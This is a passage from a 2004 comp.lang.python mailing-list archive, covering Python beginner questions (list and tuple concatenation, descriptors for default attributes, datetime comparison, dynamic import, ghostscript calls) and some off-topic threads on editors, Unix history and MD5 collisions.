m.__doc__ Paul From newsgroups at jhrothjr.com Sun Sep 12 21:58:46 2004 From: newsgroups at jhrothjr.com (John Roth) Date: Sun, 12 Sep 2004 20:58:46 -0500 Subject: Newbie: tuple list confusion. References: <20040912195529.03437.00000338@mb-m27.aol.com> Message-ID: <10k9vnqkfieasd7@news.supernews.com> "Q852913745" wrote in message news:20040912195529.03437.00000338 at mb-m27.aol.com... >I am trying to learn python from 'Python programming for the absolute >beginner' > I'm sure I understand the difference between tuples and lists, but while > experimenting with what I have learned so far, I was suprised that this > code > worked. > > # Create list a > a=["start",878,"item 1",564354,"item 2"] > print "length of list a =",len(a) > print "a =",a ; print > > # Create tuple b > b=(234,"item 3",456,"end") > print "length of tuple b =",len(b) > print "b =",b ; print > > print "Add b onto a" # Shouldn't work! > #--------------------------------------------- > # a=a+b # causes an error as it should, > a+=b # but why is this ok? > #--------------------------------------------- > print "a =",a > print "length of a =",len(a) > print;c=raw_input("Press enter to exit") > > My book states that a=a+b and a+=b are the same, and that different > 'types' of > sequence cannot be joined together. This is a simplification. a+=b can be done with an in-place update for mutable objects, such as lists. An in place update doesn't have to do exactly the same operation as the equivalent binary operator, and it seems like it doesn't here. Since it's an in-place operation, I would expect that a+=b would be the same as a.append(b), but I haven't checked that this is the case, and the manual doesn't indicate that append() accepts general sequences. It does, however, indicate that at one time it had to accept tuples, and likely the code to do that was never removed. See note 2 in the Library Reference Manual under Builtin Objects - Builtin Types - Sequence Types - Mutable Sequence Types. I wouldn't depend on this working in future releases. John Roth From shalabh at cafepy.com Thu Sep 2 13:20:08 2004 From: shalabh at cafepy.com (Shalabh Chaturvedi) Date: Thu, 02 Sep 2004 10:20:08 -0700 Subject: initializing mutable class attributes In-Reply-To: References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: Dan Perl wrote: > Someone else (Shalabh) suggested descriptors for the same problem but I > didn't get to consider such a solution until now. This is what I had in mind: ---->8----- class defaultvalue(object): # this is a descriptor def __init__(self, name, factory): self.name = name self.factory = factory def __get__(self, obj, cls=None): if obj is None: return self val = self.factory() setattr(obj, self.name, val) return val class C(object): i = defaultvalue('i',dict) j = defaultvalue('j',list) c = C() print c.i, c.j # prints {} [] ---->8----- Once it has kicked in, it's free of the descriptor overhead. Note you only need to define defaultvalue once and reuse it everywhere. Also you can give it a function or lambda like: k = defaultvalue('k', lambda :[1,2,3]) I still suggest you be a good Pythoneer and use __init__() like everyone else. It's a useful habit of always calling the base class __init__() at the top of your __init__(). If you don't develop this habit (or of at least checking the base for __init__), you will waste debugging cycles when you use other libraries. -- Shalabh From skip at pobox.com Wed Sep 22 15:49:32 2004 From: skip at pobox.com (Skip Montanaro) Date: Wed, 22 Sep 2004 14:49:32 -0500 Subject: Python speed-up In-Reply-To: <20040922193925.GA4669@nl.linux.org> References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> <1gkj2vn.4w5b464zur5rN%aleaxit@yahoo.com> <20040922193925.GA4669@nl.linux.org> Message-ID: <16721.55116.159985.802001@montanaro.dyndns.org> gerrit> Why isn't cStringIO faster than concatenating strings? gerrit> Using python2.4: ... Because in 2.4 common case string concatenation gets a big speed boost: % python2.3 ~/local/bin/timeit.py -s 's=""' "s+='foo'" 10000 loops, best of 3: 68.3 usec per loop % python2.4 ~/local/bin/timeit.py -s 's=""' "s+='foo'" 1000000 loops, best of 3: 0.855 usec per loop Skip From sbabbitt at commspeed.net Fri Sep 10 13:46:52 2004 From: sbabbitt at commspeed.net (Tom B.) Date: Fri, 10 Sep 2004 10:46:52 -0700 Subject: WxInter References: Message-ID: <1094839005.684994@news.commspeed.net> "Eric Brunel" wrote in message news:chsieg$7q1$1 at news-reader3.wanadoo.fr... > Michael Sparks wrote: >> On Fri, 10 Sep 2004, Skip Montanaro wrote: >> >> >>> Tom> It seems that the thing that people like about Tk is the Canvas >>> Tom> object has anyone tried the wxFloatCanvas as a replacement. >>> >>>Where is it? Google turns up essentially nothing for "wxFloatCanvas" on >>>either groups or web. That makes it a pretty well-hidden object. Google >>>offered "wxPlotCanvas" as an alternative. Are they related? >> All you are talking about here is image bliting images onto other images. You can blit Images unto subimages and those images into other ones ad infinitum. You could do t in wxPython you could do the same in PIL. I wrote a hack of a boids demo and the only difference was the threading model. I agree that it is best not to reinvent the wheel but Tk is its own language and wxPython is a library written for Python users. Tom From tim.peters at gmail.com Tue Sep 21 15:10:55 2004 From: tim.peters at gmail.com (Tim Peters) Date: Tue, 21 Sep 2004 15:10:55 -0400 Subject: list.pop and print doing funny things In-Reply-To: <000701c4a00a$576042e0$fd56e640@amd950> References: <000701c4a00a$576042e0$fd56e640@amd950> Message-ID: <1f7befae040921121041556745@mail.gmail.com> [Gordon Williams] > Why do I get the x printed twice in the sample below? It is like print x is > being executed twice in each loop. > > >>> l = [1,2,3,4] > >>> for x in l[:]: > ... print x > ... l.pop(l.index(x)) > ... print l > ... > 1 > 1 > [2, 3, 4] > 2 > 2 > [3, 4] > 3 > 3 > [4] > 4 > 4 > [] > >>> It's for the same reason 42 is printed once in this example: >>> 42 42 >>> That is, at an interactive shell, the result of every expression that returns a non-None value is displayed. It doesn't make any difference whether the expressions are buried in loops or if-clauses, etc. Your "l.pop(l.index(x))" returns a non-None result, so that gets displayed too. BTW, note that l.remove(x) is a clearer way to get the effect of l.pop(l.index(x)), and does not return a non-None result. From graeme.matthew at contrado.com.au Tue Sep 14 19:24:03 2004 From: graeme.matthew at contrado.com.au (Graeme Matthew) Date: Wed, 15 Sep 2004 09:24:03 +1000 Subject: comparing datetime with date References: Message-ID: <41477d9a$0$24391$5a62ac22@per-qv1-newsreader-01.iinet.net.au> This is very interesting because if you continue further and coerce both to strings you get: >>> print str(y) == str(y) True >>> str(y) '2004-09-14 06:43:15' >>> str(x) '2004-09-14' >>> Even though there string values are different they still match? If we perform a CRC (Cyclic Redundancy Check) i.e compute a one way hash: import binascii >>> crc_x = binascii.crc32(str(x)) >>> crc_y = binascii.crc32(str(y)) >>> print crc_x == crc_y False So this confirms that there values do differ yet a comparision using == returns True? All i can assume is that when a Date / DateTime comparision is made the 'lowest denominator' i.e Date is used but I may be very wrong Will watch this thread closely "Donnal Walter" wrote in message news:mailman.3292.1095162740.5135.python-list at python.org... >I was very surprised to discover that > > >>> import datetime > >>> x = datetime.date(2004, 9, 14) > >>> y = datetime.datetime(2004, 9, 14, 6, 43, 15) > >>> print x == y > True > > How can these two objects be considered equal? Is there a *general* way to > test for date != datetime as well as 4.5 != 4.6? > > Donnal Walter > Arkansas Children's Hospital > > From luismg at gmx.net Sun Sep 19 02:38:06 2004 From: luismg at gmx.net (Neuruss) Date: 18 Sep 2004 23:38:06 -0700 Subject: New Programmer and Python References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com> Message-ID: <278de0e.0409182238.d74d313@posting.google.com> Python is an excellent choice not only as a first language, but as "the" language. Python is based on the same principles than the other languages, but they are implemented in a more easy and clear way. Its easy syntax lets you learn the programming principles faster and better, letting you concentrate in the problem you're trying to solve instead in lower level, redundant tasks such as memory allocation or types declarations. Besides, it is also fun. From newsgroups at jhrothjr.com Sat Sep 25 20:16:34 2004 From: newsgroups at jhrothjr.com (John Roth) Date: Sat, 25 Sep 2004 19:16:34 -0500 Subject: Dynamic Import References: Message-ID: <10lc2j78asnb3d1@news.supernews.com> "OctoberSnake" wrote in message news:vOCdnQF0l8oFQsjcRVn-sA at comcast.com... > Can I import modules dynamically? Say for example I wanted the user to > specify what module my script would import, how to do this? Look for __import__() in the Library Reference, Built-in objects, Built-in Functions. John Roth > > - OctoberSnake > > > From julioperezsosa at yahoo.com Sun Sep 19 19:24:41 2004 From: julioperezsosa at yahoo.com (julio) Date: Sun, 19 Sep 2004 19:24:41 -0400 Subject: python is going to die! =( References: Message-ID: DilbertFan wrote: > Do what you like to do. Do what's fun. What does Julio like to do? Do > that, Julio. > > mmm , i like to program , i like open source i hate m$ , i like python , i dont like c# cause its still in m$ domains , i like c# monodevelop and sharpdevelop and there is no real python ide avaiable so i dont have to memorize the 2000 libraries and functions and their behavior to think about programing seriusly, and the python proyects,adoption and development is decreasing more and more. so .. From export at hope.cz Mon Sep 6 09:29:48 2004 From: export at hope.cz (Lad) Date: 6 Sep 2004 06:29:48 -0700 Subject: view http info when browsing References: <56d498d9.0409051725.1c7d3258@posting.google.com> Message-ID: <81a41dd.0409060529.48120530@posting.google.com> santoshamb at yahoo.com (ben) wrote in message news:<56d498d9.0409051725.1c7d3258 at posting.google.com>... > I'm trying to write a web client script in python to log onto a web > page and pull some information off of it. The page has quite a few > behind the scenes http things going on that are making it difficult to > write the python script. I think if I could see the raw http data > that comes to my browser life would be much easier. Does anybody know > of programs that would run alongside my browser and show the http data > that is send back and forth? > > I've looked at plugins like httpwatch and iewatch. httpwatch looks > good but it costs quite a bit of money, and the trial is not fully > functional. iewatch has a free trial, but they don't show cookie > info, which is important. > > Does anybody know a good way of view the raw http? > > Thanks for your help, > > Ben I downloaded a "sniffer" in Python. Let me know if you are interested From M.Waack at gmx.de Wed Sep 29 09:33:38 2004 From: M.Waack at gmx.de (Mathias Waack) Date: Wed, 29 Sep 2004 15:33:38 +0200 Subject: using threads with for-loops References: <3e96ebd7.0409280711.42ef328b@posting.google.com> Message-ID: Peter Hansen wrote: > Mathias Waack wrote: >> Depends. Which means: don't know. If I would start thinking about >> creating threads to gain a speedup, I would even think about >> switching to another programming language. > > I believe some work has been done in this area to make > Python take advantage of multiple CPU systems, but > I believe your approach (switch languages) is still one of > the best options. Another is to arrange your application > to run as multiple processes, but this isn't quite as > simple as just using multiple threads. The java people have done a lot to speed up java threads. Without any real success (just my opinion) - java programs are just slow. There are classes of problems which can be easily solved using python, and there are problems not very well suited for pythonic solutions. Thats a fact and nobody should waste her time to force python into the wrong direction. And I think its fair to let other languages live. We should be fair winners;) Mathias From peter at engcorp.com Wed Sep 8 08:22:28 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 08 Sep 2004 08:22:28 -0400 Subject: A historical question In-Reply-To: References: Message-ID: <7qidndg5YZiUZKPcRVn-iw@powergate.ca> Jerald wrote: > I'd like to know when python started working with bytecode. > It seems natural that in the first python implementations > code was really interpreted : executed directly. Why does that seem natural to you? -Peter From peter at engcorp.com Wed Sep 8 22:00:24 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 08 Sep 2004 22:00:24 -0400 Subject: Question: tools for business apps development In-Reply-To: References: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> Message-ID: JanC wrote: > Ksenia Marasanova schreef: >>One of possibilities is to use Flash (in a browser) for GUI. I am >>thinking about using it for some project that also needs more >>interactivity: Flash for frontend, Python for backend (Web service >>using XMLRPC). > > You can do this with HTML+JavaScript too, no need for Flash... Disadvantages of this approach include serious problems with the cross-platform aspect, caused mainly by differences in the JavaScript implementations on different browsers. In addition, there is not yet a fully functional standard way of communicating between JavaScript and the server on the back end, short of doing page reloads. Suffice to say that while HTML+JavaScript can do the job, in principle, in practice it falls short and Flash is potentially a much more effective solution, at least for now and the near future. -Peter From me at privacy.net Fri Sep 24 14:48:14 2004 From: me at privacy.net (Richard Hanson) Date: Fri, 24 Sep 2004 11:48:14 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> Message-ID: <8vq8l0h45bo1d8g0mrbckkut1urrt554ku@4ax.com> If I disappear temporarily, it is likely from connectivity issues -- nothing more... ;-) running-straight-into-the-demarc-box-at-the-moment'ly y'rs, Richard Hanson -- sickoldfartnewsguycom From ovesvenssons at hotmail.com Thu Sep 16 15:14:22 2004 From: ovesvenssons at hotmail.com (hepp) Date: 16 Sep 2004 12:14:22 -0700 Subject: Running scripts without installing Python? Message-ID: Is it possible to run a Python script in Windows without installing Python on your machine first? At my work we are using a mixed environment - some have Solaris workstations and others PC's. I have written an application in wxPython that runs in both Unix and Solaris. For the Unix version I put an installation of Python on a network drive that everybody can access, but in Windows everybody has to download Python and wxPython before they can run the application. Is it possible to put a global installation on a network drive in Windows as well? I tried, but then it complained that it couldn't find some dll files when I ran the application from another computer. I have also tried to compile the application to an executable binary with py2exe, but it didn't work properly. From jacek.generowicz at cern.ch Tue Sep 28 03:47:51 2004 From: jacek.generowicz at cern.ch (Jacek Generowicz) Date: 28 Sep 2004 09:47:51 +0200 Subject: Metaclass with name overloading. References: Message-ID: Carlos Ribeiro writes: > On 27 Sep 2004 13:33:33 +0200, Jacek Generowicz > wrote: [...] > > I was wondering whether it would be possible to achieve this by > > forcing Python to use some dicitonary proxy (which accumulates > > values, rather that keeping just the last value to be associated > > with a key), instead of dict, when executing the class definiton? [...] > No, you can't, and it's not just a parser issue. Python uses direct > C calls to the native dict type. It's hard coded, I feared this would be the case. > p.s. In the particular case of the original poster, I'm wondering > what kind of application did he had in mind. A standalone, lightweight SWIG-like tool, in this case. But in general, I've had cause to wonder about declarative syntaxes in Python every now and then. Thanks, to all who contributed ideas to the thread, particularly Alex, Thomas and Lenard. From aleaxit at yahoo.com Wed Sep 1 07:26:23 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 13:26:23 +0200 Subject: sys.stdin.readline() References: <367a4461.0408311221.30866c09@posting.google.com> Message-ID: <1gjfriz.1cy11j313viwyqN%aleaxit@yahoo.com> Mike Maxwell wrote: ... > The guy down the hall does these kinds of things with perl one-liners, > but I have more dignity than to use perl... Unfortunately, it's looking > more and more complex to do one-liners like this in Python. Am I > overlooking s.t.? No, I think you're correctly observing that Python isn't oriented to one-liners -- not at all. Most interesting things in Python require more than one line. You could write a "oneliners shell" that takes some defined separator and turns it into a newline, of course, e.g.: bangoneliner.py: #!/usr/bin/env python import sys oneliner = sys.argv.pop(1) exec '\n'.join(oneliner.split('!')) now, sometying like bangoneliner.py 'for x in xrange(7):! if x%2:! print x' should work (note that inserting the spaces after the bangs to simulate proper indentation IS a silly fuss, but you hafta...:-). Alex From godoy at ieee.org Tue Sep 7 23:30:50 2004 From: godoy at ieee.org (Jorge Godoy) Date: Wed, 08 Sep 2004 00:30:50 -0300 Subject: %a format References: <20040907182925.GA27643@grulic.org.ar> Message-ID: Skip Montanaro writes: > I suspect because nobody's implemented it yet, most likely because nobody's > needed it. (Yours is the first mention I've seen of it.) Python's C > implementation currently supports C89, not C99, and since %a is apparently a > new thing, it's not all that surprising the Python doesn't yet support it. > Can you provide a patch against Objects/stringobject.c in the distribution? > Note that Python uses sprintf() to do its dirty work, so any patch would > have to implement %a itself to remain compatible with C89. Skip, Is the repost intentional? I've seen some post of yours (2 or 3) repeated now, with an interval of +/- 11h between the original and the repost. -- Godoy. From martin at v.loewis.de Tue Sep 7 14:36:58 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 07 Sep 2004 20:36:58 +0200 Subject: Compiling Python 2-3.4 on Tru64 UNIX V4.0F In-Reply-To: References: Message-ID: <413dffc2$0$13052$9b622d9e@news.freenet.de> Heuguette Bostic wrote: > cc: Warning: ./Modules/posixmodule.c, line 3007: "return" is an invalid preprocessor directive > # return PyInt_FromLong((long)getpgrp(0)); > --------^ [...] > Does anyone have any suggestions to help me resolve this problem? Any help would be appreciated. I would start with downloading the original Python source code. Line 3007 of posixmodule.c should not start with a hashmark. Why does it in your copy? Regards, Martin From miki.tebeka at zoran.com Thu Sep 2 02:24:19 2004 From: miki.tebeka at zoran.com (Miki Tebeka) Date: Thu, 2 Sep 2004 08:24:19 +0200 Subject: Basic tokenizer In-Reply-To: References: Message-ID: <20040902062419.GK2116@zoran.com> Hello Dale, > I'm looking for a simple string tokenizer. The Python tokenize module is > too specific and is geared to Python syntax. > > I just want something that can be setup to read the basic stuff like > . identifiers > . integers (and/or reals) > . strings > . special characters such as operators and brackets. > > Is anyone aware of such a module? > > Thanks. There are several parsing/lexing packages for Python. My favorite is PLY (http://systems.cs.uchicago.edu/ply/). Bye. -- ------------------------------------------------------------------------ Miki Tebeka http://tebeka.spymac.net The only difference between children and adults is the price of the toys From reply.in.the.newsgroup at my.address.is.invalid Wed Sep 8 09:37:07 2004 From: reply.in.the.newsgroup at my.address.is.invalid (Rene Pijlman) Date: Wed, 08 Sep 2004 15:37:07 +0200 Subject: WebDAV Server References: Message-ID: <3v1uj0tm197ll2cnifgdkhls1pbaubbals@4ax.com> Jody Winston: >I'd like to present a view of an internal data store, which has Python >interface built using SWIG, so that my users can traverse and >manipulate the data store using familiar tools. My first thought was >to adapt an existing WebDAV server. If the data store was ZODB, you would have described Zope. >Of course, Zope has a WebDAV server, but I don't know if >using Zope is overkill. Perhaps you can use ZServer standalone. -- Ren? Pijlman From lynn at garlic.com Thu Sep 9 09:27:23 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Thu, 09 Sep 2004 07:27:23 -0600 Subject: Xah Lee's Unixism References: <413af268$0$19706$61fed72c@news.rcn.com> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> <2tjvj0ttc99io295ecg2l86lc2h4tug1jc@4ax.com> Message-ID: Reynir Stef?nsson writes: > Wasn't the idea behind ISO/OSI that there should be One Network for > everybody, instead of today's lot of interconnected nets? interconnection and interoperability happen at both a protocol level and a operational level .... being able to have both independence and interoperability offers huge amount of advantages. i don't know what the original idea was .... however, my impression of looking at what it became .... was that it sprang up from telco point-to-point copper wire orientation. iso/osi even precludes LANs. the work on high speed protocol ... which would go directly from level4/transport layer to LAN/MAC interface ... was precluded in ISO standards organizations because it didn't conform to OSI model for two reasons 1) it skipped the OSI level4/level3 transport/network interface and was therefor precluded in ISO standards bodies 2) it went directly to the LAN/MAC interface .... LAN/MAC interface is not allowed for in the OSI model ... so therefor intefacing to LAN/MAC interface would be violation of OSI model ... the sort of third reason was that it would also incorporate internetworking layer within its functionality .... also a violation of the OSI model. misc. past comments http://www.garlic.com/~lynn/subnetwork.html#xtphsp -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From joe at invalid.address Wed Sep 1 12:10:26 2004 From: joe at invalid.address (joe at invalid.address) Date: Wed, 01 Sep 2004 16:10:26 GMT Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <4134AC88.56452265@yahoo.com> <4135cea1$0$19726$61fed72c@news.rcn.com> <%hmZc.17354$ni.569@okepread01> Message-ID: Steve Holden writes: > jmfbahciv at aol.com wrote: > > > In article , > > red floyd wrote: > > > >>CBFalconer wrote: > >> > >> > >>>Dump Notepad and get Textpad. www.textpad.com. First class. > >>> > >> > >>Let the editor flame wars begin! > >> > >>Get gvim! www.vim.org > > You think notepad is an editor? You must be young > > and inexperienced in the ways of Real Man's Editing sports. > > > My choice? Definitely TECO, a real programmable editor from the > TOPS10 days. > > It would create a file if invoked by the "make" command. If you > typed "make love" it would respond with "...not war?" before > beginning the edit. But can it quote Zippy the Pinhead? Joe -- If you don't think too good, don't think too much - Ted Williams From abra9823 at mail.usyd.edu.au Thu Sep 2 06:26:07 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Thu, 2 Sep 2004 20:26:07 +1000 Subject: design question Message-ID: <1094120767.4136f53f159f2@www-mail.usyd.edu.au> hi! I am trying to write an application, say myapp, which does some xml processing and then interacts with another application, say app2. App2 is in Python and i can't change it. The problem is that both my app and app2 must work on a pocket pc. I could write myapp in Python but the python WinCE release does not have the pyexpat parser and i cant find any other fast xml processor for a PDA. There is a python only processor but that is way too slow. my options as i see it are: 1. write myapp in c, compile to a dll using embedded visual c++ and write a python wrapper around it, which then interacts with app2. The problem here is again the parser. i am not writing my own, i don't know if msxml can work on a PDA. Has anyone been down this road before. if yes, i'd love to hear how you went about it and any suggestions you may have. 2. compile expat for pda using evc. the trouble is i myapp will use DOM and expat is event driven. i will need to write code to build the whole DOM hierarchy. 3. try and port the PyXML package to the PDA along with expat. A daunting task and not one that i think i can achieve. 4. use c#.net to write myapp, compile to dll and then call from python. i am not sure if this will work. i could alternatively use python.net but i am not sure if that will work on the PDA. and that exhausts the list of options i have. i would really very much appreciate it if you could reply with any alternatives that i could pursue or how i can go about implementing one of the options above. thanks cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From alexis.roda at urv.es Wed Sep 8 12:41:28 2004 From: alexis.roda at urv.es (Alexis Roda) Date: Wed, 08 Sep 2004 18:41:28 +0200 Subject: Using Python to generate code? In-Reply-To: <1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com> References: <1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com> <"mailm an.3041.1094661030.5135.python-list"@python.org> <1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com> Message-ID: <413F3638.4090301@urv.es> Alex Martelli wrote: > Alexis Roda wrote: > ... > >>>Yep, though output.replace(...) would be neater. But the best >>>replacement is already in the Python 2.4 standard library: it uses >>>exactly the $identifier convention, and takes a dictionary of mapping of >>>identifier to string...: > > ... > >>>In [6]: tpl % dict(VAR='fee', START='fie', END='fofum') >>>Out[6]: u'for (fee = 1, fee < fie, fee < fofum)' >> >>If you are not contrained to using $ identifiers: >> >>d={'var':'foo', 'start':1, 'end': 100} >>'for (%(var)s = %(start)i; %(var)s < %(end)i; %(var)s++)' % d > > > yeah, but the template string for this long-standing Python feature is > hard to read and hard to write, which is why 2.4 finally grew a simpler > approach -- the string.Template class. > > > Alex If you come from Perl its not so hard :-). Anyway, I agree, templates are nicer, but not everyone is running python 2.4 ... Alex -- //// (@ @) ----------------------------oOO----(_)----OOo-------------------------- <> Ojo por ojo y el mundo acabara ciego /\ Alexis Roda - Universitat Rovira i Virgili - Reus, Tarragona (Spain) ----------------------------------------------------------------------- From grante at visi.com Fri Sep 10 16:10:37 2004 From: grante at visi.com (Grant Edwards) Date: 10 Sep 2004 20:10:37 GMT Subject: python and bit shifts and byte order, oh my! References: <9490d.126$KA1.1800@news1.mts.net> <4141e6f2$0$67058$a1866201@newsreader.visi.com> Message-ID: <41420a3d$0$65611$a1866201@newsreader.visi.com> On 2004-09-10, Reid Nichol wrote: > It's my understanding that pack and unpack of the struct module returns > strings and not rearranged integers. Partly right. Pack returns a string. Unpack returns whatever you tell it to return (integers, floats, etc.). When reading a 4 byte integer from a file: Read a string of 4 bytes from the file. Use struct.upack() on the string to convert it to an integer object. When writing a 4 byte integer to a file: Use struct.pack() to convert the integer object into a 4-byte string with the desired byte order. Write the 4 byte string to the file. > At any rate I would rather do it myself if only to teach > myself something about this. Do what yourself? -- Grant Edwards grante Yow! NOW, I'm supposed at to SCRAMBLE two, and HOLD visi.com th' MAYO!! From hbostic at santeecooper.com Fri Sep 17 10:48:35 2004 From: hbostic at santeecooper.com (Unixtrekkor) Date: 17 Sep 2004 07:48:35 -0700 Subject: Compiling Python 2-3.4 on Tru64 UNIX V4.0F References: <413dffc2$0$13052$9b622d9e@news.freenet.de> <3035f851.0409090830.6bf21074@posting.google.com> <4140A4B1.4000204@v.loewis.de> Message-ID: <3035f851.0409170648.5e68f24e@posting.google.com> I made it past the compilation errors by editing pyconfig.h.in. The setgrp and getgrp module settings were set to undef. Now I see the following errors: rm -r /lgyr/library/lib ar cr /lgyr/library/lib Modules/getbuildinfo.o ar: Error: /lgyr/library/lib not in archive format *** Exit 1 Stop Does anyone know what library should be used? Thanks. Heuguette "Martin v. L?wis" wrote in message news:<4140A4B1.4000204 at v.loewis.de>... > Unixtrekkor wrote: > > I downloaded another copy and now when I compile I see the following > > message: > > > > cc: Error: ./Modules/posixmodule.c line 3007: In this > > statement,"getgrp" expects 0 arguments, but 1 are supplied. > > (toomanyargs) > > return PyInt_FromLong((long)getgrp(0)); > > ---------^ > > cc: Error: ./Modules/posixmodule.c line 3024: In this > > statement,"setgrp" expects 0 arguments, but 2 are supplied. > > (toomanyargs) > > if (setgrp(0, 0) < 0) > > -------------^ > > *** Exit 1 > > Stop. > > > > I am looking for the format of the getgrp and setgrp commands. Thanks > > for your help. > > As a work-around, you could edit pyconfig.h, and remove the > mentioning of HAVE_GETPGRP and HAVE_SETPGRP. Then, these wrappers > won't get compiled. > > Regards, > Martin From grante at visi.com Fri Sep 24 16:37:34 2004 From: grante at visi.com (Grant Edwards) Date: 24 Sep 2004 20:37:34 GMT Subject: file read, binary or text mode References: <41540121$0$3891$4d4ebb8e@news.nl.uu.net> <86hdpnpj1n.fsf@stronzo.brainbot.com> <_audnWtgdbGK58ncRVn-uA@powergate.ca> Message-ID: <4154858e$0$80686$a1866201@newsreader.visi.com> On 2004-09-24, Peter Hansen wrote: > Good point. Note for the picky: it doesn't just get stripped... it > *is* the last character, even if there's data following. Or to > be blunt, ^Z (byte value 26) is treated as EOF on Windows when not > using binary mode to read files. That's because CP/M allocated file space in blocks and only kept track of the length of the file in blocks. It was common practice to mark the end of the "real" data in a text file with a ^Z (IIRC, this was done by the application writing to the file). Otherwise, you had no way of knowing _where_ in that last block the data actually ended. The original MS/PC-DOS was basically a CP/M clone. I presume CP/M copied that behavior from RSX-11 or RT-11, but that's just an educated guess. -- Grant Edwards grante Yow! My mind is making at ashtrays in Dayton... visi.com From dwall at fastmail.fm Thu Sep 2 16:58:34 2004 From: dwall at fastmail.fm (David K. Wall) Date: Thu, 02 Sep 2004 20:58:34 -0000 Subject: Xah Lee's Unixism References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <9pqej0tjtikajsa74c7a5el7quk49k053s@4ax.com> Message-ID: Alan Balmer wrote in message : > On Thu, 02 Sep 2004 20:32:09 +0200, "John Thingstad" > wrote: >>I feel compelled to replay that Linux is based on the Posix >>standard which is basically a recipie for writing unix. They did >>not write a new operating system. They implemented a tested and >>proven one. > Huh? Linux is only recently paying some attention to the POSIX > standards. Linus deliberately tried to pay attention to the POSIX standard almost as soon as he realized that his terminal emulator project was turning into an OS. 1991 isn't all that long ago, but I'm not sure I would refer to it as "recent" in this context. http://groups.google.com/groups?selm=1991Jul3.100050.9886%40klaava.Helsinki.FI From kirk at eyegor.jobsluder.net Mon Sep 13 00:32:08 2004 From: kirk at eyegor.jobsluder.net (Kirk Job-Sluder) Date: Mon, 13 Sep 2004 04:32:08 GMT Subject: MD5 and SHA cracked/broken... References: <7xacvuyjfn.fsf@ruckus.brouhaha.com> <7xzn3udfsg.fsf@ruckus.brouhaha.com> Message-ID: On 2004-09-13, Paul Rubin <> wrote: > Sam Holden writes: >> Creating a collision between a "useful" file which people can >> examine and use and a "trojan" file which does "bad things" is >> significantly more difficult than creating two files whose >> MD5 sums collide but whose contents are essentially "random". > > Of course it's not. Just have a block of random-looking data > somewhere in the file, like in a bitmap image or something. Who's > going to notice, if the bitmap doesn't actually get displayed? Mr. Sam Holden addressed the technical problems. But again, why bother when there are easier ways to get your malware out into the wild? You could play the odds and trust that a fair number of people will install your software without checking MD5 sums or signatures. If you can plant the trojan, you can also plant your own fake MD5 sums or signatures. You can use phishing techniques to attract people to your fake download site. If anything the fair number of recent viruses show that social engineering methods are still the best way of making mischief than attacks on software or hardware. One of the more interesting aspects of the recent discoveries is that so much attention has been placed on the least critical, least probable, and least critical way to exploit these discoveries. If you are going to be paranoid, I'd be much less worried about malware using faked MD5 sums, and more worried about groups with the money, computing power, and technical expertise to make practical use of these discoveries. -- Kirk Job-Sluder "The square-jawed homunculi of Tommy Hilfinger ads make every day an existential holocaust." --Scary Go Round From twsnnva at msn.com Fri Sep 10 13:02:11 2004 From: twsnnva at msn.com (twsnnva) Date: Fri, 10 Sep 2004 13:02:11 -0400 Subject: Executing system commands with wxpython Message-ID: <3dec2e051d82da31c9fe868669e3ce6d@localhost.talkaboutprogramming.com> Could anyone give me an example (code) of a simple program with a button that when clicked executes a linux shell or windows dos command like "ifconfig" or "ipconfig" and prints the output somewhere in the same window. Thanks. From cjankowski at hbr-inc.com Tue Sep 7 14:07:44 2004 From: cjankowski at hbr-inc.com (Chris Jankowski) Date: 7 Sep 2004 11:07:44 -0700 Subject: ghostscript Message-ID: Hi all, I am still fairly new to the Python community and world of Python programming. I am having some trouble changing the output directory when I call Ghostscript. Any sugguestions would be greatly appreciated. It seems to work fine, if I put the file in a directory that I am calling it from, like outputdir = './temp' or I use the "C" drive w/ outputdir = ''. All I am doing is converting a .pdf to a .tif. device = 'jpeg' print pdffile pdffile = 'c:/Chris_J_Stuff/chris.pdf' outputdir = "c:\\Chris_J_Stuff\\" print pdffile print outputdir suffix = 'tif' os.system(ghost_dir + ' -dNOPAUSE -dQUIET -sBATCH -sDEVICE=%s -sOUTPUTFILE=% s/page%%d.%s %s' % (device, outputdir,suffix, pdffile)) Thank you in advance. Chris J. From max at alcyone.com Sat Sep 25 02:11:50 2004 From: max at alcyone.com (Erik Max Francis) Date: Fri, 24 Sep 2004 23:11:50 -0700 Subject: random.choice returns the same value References: Message-ID: <41550C26.18218493@alcyone.com> Brian wrote: > Any reason why random.choice would return the first value in a list > everytime? Because the list only has one element, or all the elements have the same value? -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ In Heaven all the interesting people are missing. -- Friedrich Nietzsche From michele.simionato at gmail.com Mon Sep 27 05:41:46 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 27 Sep 2004 02:41:46 -0700 